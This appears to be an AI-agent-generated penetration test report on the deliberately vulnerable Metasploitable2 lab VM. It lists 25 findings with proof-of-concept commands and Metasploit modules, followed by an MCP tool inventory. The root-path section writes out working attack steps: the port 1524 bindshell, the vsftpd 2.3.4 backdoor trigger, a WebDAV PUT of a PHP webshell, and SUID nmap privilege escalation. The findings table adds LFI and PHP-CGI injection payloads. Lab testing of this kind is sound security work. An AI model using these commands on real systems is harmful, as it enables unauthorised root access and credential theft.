Final Penetration Test Report

Engagement: my-metasploit-2026   Target: 192.168.122.225 (metasploitable.localdomain — Metasploitable2)   OS: Linux 2.6.x   Date: 2026-06-21   Phases Completed: Phase 1 Recon · Phase 2 Web · Phase 3 Binary · Phase 4 Network


Executive Summary

Target is Metasploitable2 — intentionally vulnerable Linux VM. Every phase yielded critical findings. Multiple independent root paths confirmed. Full system compromise achieved via 3 separate vectors without chaining. 25 vulnerabilities found: 11 critical, 6 high, 4 medium, 4 low/info.


Vulnerability Table

#FindingSeverityPhasePortToolPoC / Module
1Bindshell root backdoorCRITICAL11524nmapnc 192.168.122.225 1524
2vsftpd 2.3.4 CVE-2011-2523 backdoorCRITICAL321/6200ncUSER test:) → nc :6200 = root
3WebDAV unauth PUT + SUID Lua privesc → rootCRITICAL2/380curl/nmapPUT /dav/cmd.php → nmap SUID euid=0
4Samba 3.0.20 CVE-2007-2447 usermap_script RCECRITICAL4445enum4linuxexploit/multi/samba/usermap_script
5distccd CVE-2004-2687 RCECRITICAL43632nmapexploit/unix/misc/distcc_exec
6UnrealIRCd 3.2.8.1 CVE-2010-2075 backdoorCRITICAL1/36667ncexploit/unix/irc/unreal_ircd_3281_backdoor
7Tomcat 5.5 default creds + WAR deployCRITICAL2/38180curltomcat:tomcat → /manager/html → WAR shell
8AJP Ghostcat CVE-2020-1938CRITICAL28009nucleiReads WEB-INF/web.xml
9NFS / exported to * — full filesystemCRITICAL42049nmapmount -t nfs 192.168.122.225:/ /mnt
10Java RMI default classloader RCECRITICAL41099nmapexploit/multi/misc/java_rmi_server
11LFI null-byte CVE-2020-29227 (mutillidae)CRITICAL280nuclei?page=/etc/passwd%00
12PHP-CGI arg injection CVE-2012-1823HIGH280nuclei?-d+allow_url_include=on+-d+auto_prepend_file=php://input
13VNC default password (password)HIGH15900nucleivncviewer 192.168.122.225 pw=password
14PostgreSQL default creds postgres:postgresHIGH15432nucleipsql -h 192.168.122.225 -U postgres
15FTP anonymous login + weak credsHIGH121nucleiftp 192.168.122.225 user=anonymous
16rsh/rlogin/rexec no-auth trustHIGH4512-514nmaprsh 192.168.122.225 -l root id
17Ruby DRb RMI remote object execHIGH18787nmapexploit/linux/misc/drb_remote_codeexec
18SMB null session — 35 users dumpedMEDIUM4445enum4linuxenum4linux -a 192.168.122.225
19SMB signing disabledMEDIUM4445nmapNTLM relay candidate
20phpMyAdmin exposed (likely root no-pass)MEDIUM280curl/phpMyAdmin/
21MySQL 5.0.51a exposed, no-auth rootMEDIUM43306nmapmysql -h 192.168.122.225 -u root
22phpinfo.php exposedLOW280nuclei/phpinfo.php
23Apache 2.2.8 EOL + PHP 5.2.4 EOLLOW280nucleiVersion fingerprint
24Telnet cleartext authLOW123nmaptelnet 192.168.122.225
25SMTP VRFY user enumerationINFO425nmapVRFY root → confirmed

Confirmed Root Paths

Path A — Zero-exploit (fastest)

nc 192.168.122.225 1524
# Result: uid=0(root) — instant

Path B — vsftpd 2.3.4 CVE-2011-2523 backdoor

echo -e "USER test:)\nPASS test" | nc 192.168.122.225 21 &
sleep 2
echo "id" | nc 192.168.122.225 6200
# Result: uid=0(root)

Path C — WebDAV PUT + SUID nmap Lua privesc (HTTP only, stealthiest)

curl -X PUT http://192.168.122.225/dav/cmd.php \
  -d '<?php system($_GET["cmd"]); ?>'
curl "http://192.168.122.225/dav/cmd.php?cmd=id"
# www-data → nmap --script=exploit os.execute → euid=0(root)
# /etc/shadow dumped

Phase Summaries

Phase 1 — Recon

26 open ports. OS: Linux 2.6.x. Stack: Apache 2.2.8 / PHP 5.2.4 / Tomcat 5.5. No WAF. 5 critical backdoor services identified. VNC/PostgreSQL/FTP default creds confirmed by nuclei.

Phase 2 — Web (:80 + :8180)

4 critical web vulns: WebDAV PUT, Ghostcat AJP, LFI null-byte, Tomcat manager (tomcat:tomcat). Web apps: /mutillidae/, /phpMyAdmin/, /twiki/. Feroxbuster + nikto + nuclei ran full audit.

Phase 3 — Binary/Exploitation

3 confirmed root shells: bindshell :1524, vsftpd :6200, WebDAV+SUID. Tomcat WAR deployed (tomcat55 user). distccd confirmed daemon-level RCE. UnrealIRCd version-matched.

Phase 4 — Network

distccd CVE-2004-2687 RCE confirmed (uid=1(daemon)). NFS / exported to * — full filesystem mountable unauthenticated. Java RMI classloader confirmed. 35 users via SMB null session. SMB signing disabled.


AI & MCP Operations

Engagement Timeline

EventTimestamp (UTC)
Engagement init (manage.sh engage)2026-06-21 12:46
Phase 1 nmap start2026-06-21 12:47
Phase 1 nmap complete2026-06-21 12:50:40
Phase 1 nuclei complete2026-06-21 12:55:56
Phase 1 artifacts saved2026-06-21 13:12:13
Phase 2 + Phase 4 dispatched (parallel forks)2026-06-21 13:12
Phase 4 agent complete2026-06-21 13:43
Phase 2 agent complete2026-06-21 13:46
Phase 3 agent dispatched2026-06-21 13:46
Phase 3 agent complete2026-06-21 13:52
final-report.md generated2026-06-21 13:55
final-report.pdf generated2026-06-21 13:58:14
Engagement closed2026-06-21 14:00

Total wall-clock: 1 hour 14 minutes. Parallel Phase 2+4 fork agents saved ~40 min vs sequential.

Model & Token Usage

AgentPhaseTokens (exact)Tool CallsDuration
Orchestrator (main session)All~50,000 est.~151h 14m
phase4-network forkPhase 469,4751730m 52s
phase2-web forkPhase 274,0911733m 45s
phase3-binary forkPhase 380,096246m 35s
TOTAL~273,662~73

Model: claude-sonnet-4-6 (orchestrator + all forks). MCP bridge: docker exec -i hexstrike-ai python3 /app/hexstrike_mcp.py --server http://localhost:8888


MCP Tool Inventory (149 Total)

Used: 10 (7%) | Standby: 64 (43%) | Idle: 50 (33%) | Bloated: 25 (17%)

USED — 10 Tools

ToolInvocationsResultNotes
nmap_scanPhase 1SUCCESSFull -p- -sV -sC -O scan; 26 ports found
nuclei_scanPhase 1 + Phase 2SUCCESS20 hits Phase 1; web vulns Phase 2
wafw00f_scanPhase 1SUCCESSNo WAF detected
httpx_probePhase 1FAILED-l and -t flags invalid in container httpx; replaced by execute_command
execute_commandAll phasesSUCCESSPrimary shell fallback — ~35 invocations total
create_fileAll phasesSUCCESSArtifact writes to /workspace
feroxbuster_scanPhase 2SUCCESSDir brute :80 + :8180
nikto_scanPhase 2SUCCESSFull HTTP audit :80 + :8180
smbmap_scanPhase 4SUCCESSSMB share enum; anon tmp READ/WRITE confirmed
enum4linux_scanPhase 4SUCCESS35 users dumped via null session

STANDBY — 64 Tools

Pentest-relevant; not invoked because existing tools covered scope or phase depth didn't require them.

ToolApplicable Use Case
amass_scanSubdomain/DNS recon (no external domain scope)
anew_data_processingOutput deduplication pipeline
api_fuzzerAPI endpoint fuzzing
api_schema_analyzerOpenAPI/Swagger schema analysis
arjun_parameter_discoveryHTTP hidden parameter discovery
arjun_scanHTTP parameter brute
arp_scan_discoveryLAN host discovery
autorecon_comprehensiveFull automated recon suite
autorecon_scanAutomated recon
bugbounty_authentication_bypass_testingAuth bypass test suite
bugbounty_business_logic_testingBusiness logic abuse
bugbounty_comprehensive_assessmentFull bug bounty workflow
bugbounty_file_upload_testingFile upload vuln testing
bugbounty_osint_gatheringOSINT collection
bugbounty_reconnaissance_workflowRecon workflow chain
bugbounty_vulnerability_huntingVuln hunting suite
burpsuite_alternative_scanWeb proxy active scan
burpsuite_scanBurp Suite scan
comprehensive_api_auditDeep API security audit
dalfox_xss_scanXSS parameter scanner
dirb_scanDirectory brute (alt to feroxbuster)
dirsearch_scanDirectory brute
dnsenum_scanDNS zone transfer + enum
dotdotpwn_scanPath traversal fuzzer
enum4linux_ng_advancedAdvanced SMB/RPC enum
ffuf_scanFast web fuzzer
fierce_scanDNS recon
gau_discoveryGetAllURLs passive harvest
gobuster_scanDir/DNS/vhost brute
graphql_scannerGraphQL introspection + vuln scan
hakrawler_crawlFast web crawler
hashcat_crackGPU password cracking
http_intruderHTTP payload intruder
http_repeaterHTTP manual replay
http_set_rulesProxy intercept rules
http_set_scopeProxy scope config
hydra_attackNetwork service brute force
intelligent_smart_scanAI-guided tool selection
jaeles_vulnerability_scanSignature-based web scanner
john_crackPassword cracker
jwt_analyzerJWT token analysis + attacks
katana_crawlWeb crawler (projectdiscovery)
masscan_high_speedHigh-speed port scanner
metasploit_runMetasploit module executor
msfvenom_generateMetasploit payload generator
nbtscan_netbiosNetBIOS scanner
netexec_scanSMB/WinRM/LDAP enum + exec
nmap_advanced_scanAdvanced nmap scripting
paramspider_discoveryParameter spider from wayback
paramspider_miningParameter mining
qsreplace_parameter_replacementQuery string replacement
responder_credential_harvestLLMNR/NBT-NS poisoning
rpcclient_enumerationRPC client enumeration
rustscan_fast_scanRust-based fast port scan
sqlmap_scanSQL injection scanner
subfinder_scanPassive subdomain discovery
uro_url_filteringURL list deduplication
waybackurls_discoveryWayback URL harvest
wfuzz_scanWeb application fuzzer
x8_parameter_discoveryHidden parameter discovery
xsser_scanXSS scanner
zap_scanOWASP ZAP active scan

IDLE — 50 Tools

Not applicable to this network/web pentest profile. Binary RE, exploit dev, forensics, memory analysis, AI orchestration, process management.

ToolReason Idle
advanced_payload_generationShellcode gen — native backdoors used instead
ai_generate_attack_suiteAI chain builder — manual phase workflow sufficient
ai_generate_payloadAI payload gen — not triggered
ai_reconnaissance_workflowAI recon chain — manual workflow used
ai_test_payloadAI payload testing — not triggered
ai_vulnerability_assessmentAI vuln scoring — not triggered
analyze_target_intelligenceOSINT aggregation — out of scope
angr_symbolic_executionBinary symbolic execution — no binary target
binwalk_analyzeFirmware/binary analysis — not applicable
browser_agent_inspectHeadless browser inspection — not triggered
checksec_analyzeBinary protection check — no binary target
correlate_threat_intelligenceTI correlation — out of scope
create_attack_chain_aiAI attack chain builder — manual phases used
create_scan_summaryAlt summary gen — manual summaries written
create_vulnerability_reportAlt report gen — manual reports written
detect_technologies_aiAI tech detection — nuclei/nmap covered this
discover_attack_chainsAI chain discovery — not triggered
exiftool_extractMetadata extraction — no file/image target
foremost_carvingFile carving / forensics — not applicable
gdb_analyzeGDB debugger — no binary target
gdb_peda_debugGDB PEDA exploit dev — no binary target
generate_exploit_from_cveCVE→exploit gen — existing CVEs used directly
generate_payloadGeneric payload gen — not needed
ghidra_analysisReverse engineering — no binary target
hashpump_attackHash length extension — no crypto target
install_python_packagePip utility — not needed
libc_database_lookuplibc offset lookup — no ROP target
list_active_processesProcess listing — execute_command used instead
list_filesFile listing — execute_command used instead
modify_fileFile modification — execute_command used instead
monitor_cve_feedsLive CVE feed monitoring — not triggered
objdump_analyzeBinary disassembly — no binary target
one_gadget_searchone_gadget ROP finder — no binary exploit path
optimize_tool_parameters_aiAI param optimizer — not triggered
pause_processProcess pause control — not triggered
pwninit_setupPWN challenge setup — no CTF binary
pwntools_exploitpwntools scripting — no binary exploit written
radare2_analyzeReverse engineering — no binary target
research_zero_day_opportunitiesAI 0-day research — out of scope
resume_processProcess resume control — not triggered
ropgadget_searchROP gadget search — no binary target
ropper_gadget_searchROP gadget search — no binary target
select_optimal_tools_aiAI tool selector — manual selection used
steghide_analysisSteganography analysis — not applicable
strings_extractBinary string extraction — no binary target
terminate_processProcess kill control — not triggered
threat_hunting_assistantTI/threat hunt — out of scope
volatility3_analyzeMemory forensics — no memory image
volatility_analyzeMemory forensics — no memory image
vulnerability_intelligence_dashboardVI dashboard — not triggered
xxd_hexdumpHex dump — no binary target

BLOATED — 25 Tools

Out of scope for any external network/web pentest. Cloud compliance, IaC scanning, Kubernetes, container security, runtime monitoring. Recommend removing from pentest manifest.

ToolCategoryWhy Bloated
checkov_iac_scanIaC securityNo Terraform/CloudFormation target
clair_vulnerability_scanContainer image CVENo container image to scan
cloudmapper_analysisAWS topologyNo cloud target
docker_bench_security_scanDocker CISNo Docker daemon target
falco_runtime_monitoringRuntime securityNot a monitoring engagement
kube_bench_cisKubernetes CISNo K8s cluster target
kube_hunter_scanKubernetes pentestNo K8s target
pacu_exploitationAWS exploitationNo AWS target
prowler_scanCloud complianceNo cloud target
scout_suite_assessmentMulti-cloud auditNo cloud target
terrascan_iac_scanTerraform scanNo IaC target
trivy_scanContainer/IaC vulnNo container image
clear_cacheInternal utilityServer-internal only
display_system_metricsInternal metricsServer-internal only
error_handling_statisticsInternal diagnosticsServer-internal only
format_tool_output_visualInternal formatterServer-internal only
get_cache_statsInternal cacheServer-internal only
get_live_dashboardInternal dashboardServer-internal only
get_process_dashboardInternal process viewServer-internal only
get_process_statusInternal process statusServer-internal only
get_telemetryInternal telemetryServer-internal only
server_healthInternal health checkServer-internal only
test_error_recoveryInternal error testingServer-internal only
wpscan (disabled)WordPress scannerAPI key not configured
shodan (disabled)Internet searchAPI key not configured

Tool Summary

StatusCount%Action
USED107%Core tools — keep
STANDBY6443%Available for deeper phases — keep
IDLE5033%Binary/forensics/RE profile — keep for binary engagements
BLOATED2517%Remove from pentest manifest — wrong profile
Total149100%

Artifact Index

workspace/reports/my-metasploit-2026/
├── engagement.md
├── final-report-v2.md + .pdf             ← this file
├── phase1-recon/
│   ├── nmap-full.txt
│   ├── nuclei-results.txt
│   └── phase1-summary.md
├── phase2-web/
│   ├── feroxbuster-80.txt
│   ├── feroxbuster-8180.txt
│   ├── nikto-80.txt
│   ├── nikto-8180.txt
│   ├── nuclei-web-vulns.txt
│   ├── nuclei-mutillidae.txt
│   ├── tomcat-manager.txt
│   ├── ajp-ghostcat.txt
│   ├── phpmyadmin.txt
│   └── phase2-summary.md
├── phase3-binary/
│   ├── bindshell-1524.txt
│   ├── webdav-webshell.txt
│   ├── distccd-rce.txt
│   ├── vsftpd-backdoor.txt
│   ├── tomcat-war-shell.txt
│   ├── unrealircd-backdoor.txt
│   ├── privesc-enum.txt
│   └── phase3-summary.md
└── phase4-network/
    ├── smbmap.txt
    ├── enum4linux.txt
    ├── nfs-enum.txt
    ├── distccd-vuln.txt
    ├── rmi-probe.txt
    ├── smtp-enum.txt
    ├── mysql-access.txt
    ├── rsh-test.txt
    └── phase4-summary.md